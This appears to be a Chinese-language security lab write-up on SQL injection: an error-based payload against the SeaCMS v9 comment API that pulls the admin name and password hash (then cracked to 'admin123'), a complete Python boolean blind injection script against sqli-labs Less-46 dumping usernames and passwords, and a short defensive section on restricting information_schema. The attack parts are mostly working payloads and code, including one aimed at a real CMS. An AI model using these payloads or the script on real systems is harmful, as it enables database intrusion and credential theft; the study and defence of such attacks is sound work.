对seacmsv9进行sql注入，orderby，过滤information_schema

对seacmsv9进行sql注入，orderby，过滤information_schema

1.对seacmsv9进行sql注入

海洋影视管理系统（seacms，海洋cms）是一套专为不同需求的站长而设计的视频点播系统，采用的是 php5.X+mysql 的架构

seacmsv9漏洞文件：./comment/api/index.php，漏洞参数：$rlist

由于seacms开源，可以知道seacmsv9系统数据库（mysql）为seacms，存放管理员账号的表为sea_admin，表中存放管理员姓名的字段为name，存放管理员密码的字段为password

使用以下语句注入

http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
​
# 定义SQL变量 `@'`（反引号用于绕过单引号过滤）。
# 目的是构造合法的SQL语法，避免因单引号未闭合导致语句错误。
# updatexml(XML_doc, XPath, new_value)  函数滥用：修改XML文档的节点值。当 `XPath` 参数格式非法时，MySQL会抛出错误，并将非法内容回显到错误信息中。
#构造格式错误的XPath:concat_ws(0x20,0x5c, (子查询))
#子查询：`select name from sea_admin limit 0,1` 提取第一个管理员用户名。：
#0x20 是空格，0x5c 是反斜杠 `\`。
#`%0a` 是换行符，绕过某些过滤规则（如空格过滤）

但是返回返回以下，并没有返回报错与查询的值

rlist: 空对象，可能表示排序参数未生效或注入逻辑未触发数据回显。

使用Wireshark抓包mysql数据包，最终发现执行下面语句

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

于是去mysql数据库里面执行上面的代码，发现一样不报错不返回值

尝试修改语句，查询database()就可以查询数据库表名

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE 
m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select database()),1), @`\'`) ORDER BY id DESC

没有返回报错与查询的值，但是查询database()就可以查询数据库表名，于是查询sea_comment，发现居然没有数据，于是就插入了几条数据，发现可以执行了

密码也是如此------注入密码为23a7bbd73250516f069d，可以看出是经过md5加密的，于是到md5在线解密破解,md5解密加密解密，得到密码为admin123

2.orderby

sqlilabs靶场第46关

参数sort传入id可以得到

参数sort传入username可以得到

于是可以用sort=if(表达式,id,username)的方式注入，用BS爬取表格中username下一格的值是否等于Dumb来判断表达式的真假，并使用二分查找加快注入速度，从而实现boolen注入

import requests
from bs4 import BeautifulSoup
 
def get_username(resp):
    soup = BeautifulSoup(resp,'html.parser')
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username
 
def inject_database_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_table_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_column_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_data_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
if __name__ == '__main__':
    inject_data_boolen()

3.过滤information_schema解决方案(mysql)

1.创建只读用户---仅允许访问业务数据库（如 target_db），禁止访问系统表

CREATE USER 'web_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON target_db.* TO 'web_user'@'localhost';
FLUSH PRIVILEGES;

2.撤销 information_schema 权限

REVOKE SELECT ON information_schema.* FROM 'web_user'@'localhost';
FLUSH PRIVILEGES;

3.正则匹配拦截----若查询包含 information_schema，直接拒绝执行。

SELECT * FROM target_table
WHERE query NOT REGEXP 'information_schema';